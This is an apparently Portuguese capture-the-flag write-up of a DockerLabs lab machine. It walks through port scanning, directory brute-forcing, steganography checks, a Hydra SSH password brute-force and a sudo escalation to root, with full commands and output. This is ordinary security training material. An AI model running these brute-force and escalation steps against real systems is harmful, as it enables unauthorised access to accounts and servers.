



## DockerLabs Vacaciones

Para utilizar esta máquina debemos primeiro baixar os arquivos e assim implantá-la com Docker.

Baixamos o arquivo da página <https://dockerlabs.es/>

Para implantar o laboratório executamos da seguinte forma, para que também possamos ver que ele nos diz a direção que teremos, bem como o que fazer quando terminarmos.

```
(root@soja)-[~/dockerlabs/maq.borazuwa]
# bash auto_deploy.sh borazuwarahctf.tar
maq.pntopntobarra
maq.cachopo
maq.bashparienci
maq.sites
COMANDOS IMPORTANTES
REVERSE SHELL
MUITO FACIL
DockerLabs
PRIVILEGIOS ROOT
php
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es → 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
```

## COLETA DE INFORMAÇÕES

**nmap 172.17.0.2 -sS -sV -sC --open -p- -T5 -n -Pn**

**Verificando as portas podemos ver que temos duas portas abertas a 22 e a 80.**

```
(root@soja)-[~/dockerlabs/maq.borazuwa]
# nmap 172.17.0.2 -sS -sC -sV --open -p- -T5 -n -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-01 10:35 -03
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 10:35 (0:00:06 remaining)
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
|_ ssh-hostkey:
|   256 3d:fd:d7:c8:17:97:f5:12:b1:f5:11:7d:af:88:06:fe (ECDSA)
|   256 43:b3:ba:a9:32:c9:01:43:ee:62:d0:11:12:1d:5d:17 (ED25519)
80/tcp    open  http     Apache httpd 2.4.59 ((Debian))
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
```

## PORTAS ABERTA:

**22/tcp open ssh OpenSSH 9.2p1 Debian**  
**80/tcp open http Apache httpd 2.4.59 ((Debian))**

1. **nmap** : É uma ferramenta de código aberto para exploração e auditoria de segurança de redes.
2. **172.17.0.2** : Este é o endereço IP do alvo que está sendo escaneado.
3. **-sS** : Realiza um "SYN scan", que é um tipo de varredura que envia pacotes SYN para determinar quais portas estão abertas. É rápido e discreto, pois não completa a conexão TCP.
4. **-sV** : Tenta detectar a versão dos serviços que estão sendo executados nas portas abertas. Isso ajuda a identificar não apenas se a porta está aberta, mas também qual serviço está rodando e sua versão.
5. **-sC** : Executa scripts padrão do Nmap. Esses scripts podem fazer diversas tarefas, como descobrir mais informações sobre os serviços, verificar vulnerabilidades, entre outros. O Nmap possui uma biblioteca de scripts que podem ser utilizados.
6. **--open** : Faz com que o Nmap mostre apenas as portas que estão abertas. Sem essa opção, o Nmap pode listar portas fechadas ou filtradas, o que pode gerar uma saída muito longa.
7. **-p-** : Escaneia todas as 65535 portas TCP, em vez de um intervalo padrão (como apenas as portas mais comuns). Isso é útil para ter uma visão completa do que está exposto no alvo.
8. **-T5** : Define a velocidade do scan para "agressivo". O Nmap possui diferentes níveis de timing (T0 a T5), e T5 é o mais rápido. Isso pode resultar em uma varredura mais rápida, mas também pode aumentar a chance de ser detectado por sistemas de segurança.
9. **-n** : Faz com que o Nmap não tente resolver nomes de host. Isso acelera o scan e é útil quando você já conhece os endereços IP.
10. **-Pn** : Diz ao Nmap para não fazer o "ping" no alvo antes de escanear. Isso é útil se você sabe que o host está ativo, ou se o alvo pode estar configurado para não responder a pings (ICMP).

## BUSCAR POR PASTAS OCULTAS COM GOBUSTER

**gobuster dir -u <http://172.17.0.2> -w /usr/share/wordlists/dirb/common.txt -x txt,php,html**

```
(root@soja)-[~/dockerlabs/maq.borazuwa]
# gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt -x txt,php,html
```

Gobuster v3.6

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

```
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,html
[+] Timeout: 10s
```

Starting gobuster in directory enumeration mode

```
/.html (Status: 403) [Size: 275]
/.hta.html (Status: 403) [Size: 275]
/.hta.txt (Status: 403) [Size: 275]
/.hta (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.hta.php (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/.htpasswd.html (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 50]
/index.html (Status: 200) [Size: 50]
/server-status (Status: 403) [Size: 275]
Progress: 18468 / 18472 (99.98%)
```

Finished

O comando que você mencionou utiliza o **Gobuster**, uma ferramenta para brute-force de diretórios e arquivos em servidores web. Aqui está a explicação passo a passo:

1. `gobuster dir`:

- Esta parte do comando indica que você quer usar o Gobuster no modo de "diretórios" (`dir`), ou seja, você está procurando por diretórios e arquivos em um servidor web.

2. `-u http://172.17.0.2`:

- O parâmetro `-u` é usado para especificar a URL alvo, neste caso, o endereço IP `http://172.17.0.2`. É o servidor onde o Gobuster vai tentar localizar diretórios e arquivos.

3. `-w /usr/share/wordlists/dirb/common.txt`:

- O parâmetro `-w` especifica o caminho do arquivo de wordlist, que contém uma lista de nomes de diretórios e arquivos que o Gobuster vai tentar encontrar. Aqui, você está usando a wordlist `common.txt` localizada em `/usr/share/wordlists/dirb/`, que é uma wordlist comum do **Dirb** (outra ferramenta de brute-force de diretórios).

4. `-x txt,php,html`:

- O parâmetro `-x` especifica as extensões de arquivos que o Gobuster deve testar. Neste caso, você está dizendo ao Gobuster para procurar por arquivos com as extensões `.txt`, `.php` e `.html`. Ele tentará, por exemplo, localizar `index.php`, `login.html`, ou `config.txt` entre outros.

## Explicação geral:

O comando está configurado para realizar um brute-force em diretórios e arquivos dentro do servidor `http://172.17.0.2`, utilizando a wordlist `common.txt`, e buscando por arquivos com as extensões `.txt`, `.php` e `.html`.



**VAMOS NAVEGAR NA PASTA QUE O GOBUSTER ACHO I-**  
**NDEX.HTML** <http://172.17.0.2/index.html>

172.17.0.2/index.html

Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Password Strength Me... HackerGPT | #1 Truste... Dockerlabs

# Configuración de Apache y Seguridad

Configuración de Sitios en ApachePrevencción de Vulnerabilidades LFI

## Configuración de Sitios en Apache

Apache utiliza los directorios `sites-available` y `sites-enabled` para gestionar la configuración de los sitios web. Aquí veremos un ejemplo de cómo configurar un sitio.

Supongamos que tienes un archivo de configuración en `sites-available` llamado `sitio.conf`. Este archivo podría tener el siguiente contenido:

```
ServerAdmin webmaster@sitioejemplo.com
ServerName www.sitiochington.com
DocumentRoot /var/www/html_chington
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
```

Este archivo define un virtual host para el dominio `www.sitiochington.com` y especifica la ubicación del directorio raíz del sitio y los archivos de registro.

Para habilitar este sitio, se crea un enlace simbólico en `sites-enabled` usando el comando `a2ensite sitio.conf`, y luego se reinicia Apache para aplicar los cambios.

## Prevención de Vulnerabilidades de Local File Inclusion (LFI)

La Local File Inclusion (LFI) es una vulnerabilidad de seguridad que permite a un atacante incluir archivos locales en la aplicación web. Esto puede exponer archivos sensibles como `sitio.conf`, a partir de algún archivo con código vulnerable, por ejemplo `vulnerable.php`, que contiene configuraciones importantes del servidor.

Para evitar que un atacante pueda acceder a archivos sensibles como `sitio.conf`, sigue estas prácticas

**PORTA 80: ahora vamos no navegador web e digitar o ip da maquina “vitima”. <http://172.17.0.2/#skills>**



**vamos baixar a imagem com o comando** **wget** <http://172.17.0.2/imagen.jpeg>

```
(root@soja)-[~/dockerlabs/maq.borazuwa/fotos]
# wget http://172.17.0.2/imagen.jpeg
--2024-10-01 11:02:29-- http://172.17.0.2/imagen.jpeg
Conectando-se a 172.17.0.2:80 ... conectado.
A requisição HTTP foi enviada, aguardando resposta ... 200 OK
Tamanho: 18667 (18K) [image/jpeg]
Salvando em: "imagen.jpeg"
imagen.jpeg 100%[=====] 18,23K --.-KB/s em 0s
2024-10-01 11:02:29 (1,13 GB/s) - "imagen.jpeg" salvo [18667/18667]
```





proximo passo extrair a imagem com a ferramenta  
**steghide** **extract -sf imagen.jpeg**

```
(root@soja)~[~/dockerlabs/maq.borazuwa/fotos]
# steghide extract -sf imagen.jpeg
Enter passphrase:
wrote extracted data to "secreto.txt".

(root@soja)~[~/dockerlabs/maq.borazuwa/fotos]
# la
imagen.jpeg ██████████ secreto.txt

(root@soja)~[~/dockerlabs/maq.borazuwa/fotos]
# cat secreto.txt
Sigue buscando, aquí no está to solución
aunque te dejo una pista....
sigue buscando en la imagen!!!
```



"Siga buscando, aqui não está sua solução  
mas vou te deixar uma pista...  
continue procurando na imagem!!!"



**vamos usar outra ferramenta para buscar mais informações** **exiftool** **imagen.jpeg**.

**ferramenta para buscar metadados**

```
(root@soja) [~/dockerlabs/maq.borazuwa/fotos]
# exiftool imagen.jpeg
ExifTool Version Number      : 12.76
File Name                    : imagen.jpeg
Directory                   : .
File Size                   : 19 kB
File Modification Date/Time  : 2024:05:28 13:10:18-03:00
File Access Date/Time       : 2024:10:01 11:02:29-03:00
File Inode Change Date/Time  : 2024:10:01 11:02:29-03:00
File Permissions            : -rw-r--r--
File Type                   : JPEG
File Type Extension         : jpg
MIME Type                   : image/jpeg
JFIF Version               : 1.01
Resolution Unit             : None
X Resolution                : 1
Y Resolution                : 1
XMP Toolkit                 : Image::ExifTool 12.76
Description                 :
Title                       :
Image Width                 : 455
Image Height                : 455
Encoding Process            : Baseline DCT, Huffman coding
Bits Per Sample             : 8
Color Components            : 3
Y Cb Cr Sub Sampling       : YCbCr4:2:0 (2 2)
Image Size                  : 455x455
Megapixels                  : 0.207
```

Enter passphrase:  
wrote extracted data to "secreto.txt".  
~/dockerlabs/maq.borazuwa/fotos/secreto.txt  
Siga buscando, aqui não está a solução  
mas vou te deixar uma pista...  
continue procurando na imagem!!!

**achou um usuário:** **borazuwarah**

**vamos usar o** **hydra** **para um ataque de força bruta no ssh.**

**hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2:22 -t 4 -w 5**

```
(root@soja)-[~/dockerlabs/maq.borazuwa/fotos]
# hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2:22 -t 4 -w 5
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-01 11:23:24
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: borazuwarah password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-01 11:23:28
```

## ssh borazuwarah@172.17.0.2

```
(root@soja)-[~/dockerlabs/maq.borazuwa]
# ssh borazuwarah@172.17.0.2
borazuwarah@172.17.0.2's password:
Linux 5a31db120c4d 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct 1 14:23:34 2024 from 172.17.0.1
borazuwarah@5a31db120c4d:~$ whoami
borazuwarah
```

## escalação de privilégios comando **sudo -l**

```
borazuwarah@5a31db120c4d:~$ sudo -l
Matching Defaults entries for borazuwarah on 5a31db120c4d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User borazuwarah may run the following commands on 5a31db120c4d:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
```

```
borazuwarah@5a31db120c4d:~$ sudo su
[sudo] password for borazuwarah:
root@5a31db120c4d:/home/borazuwarah# whoami
root
root@5a31db120c4d:/home/borazuwarah#
```

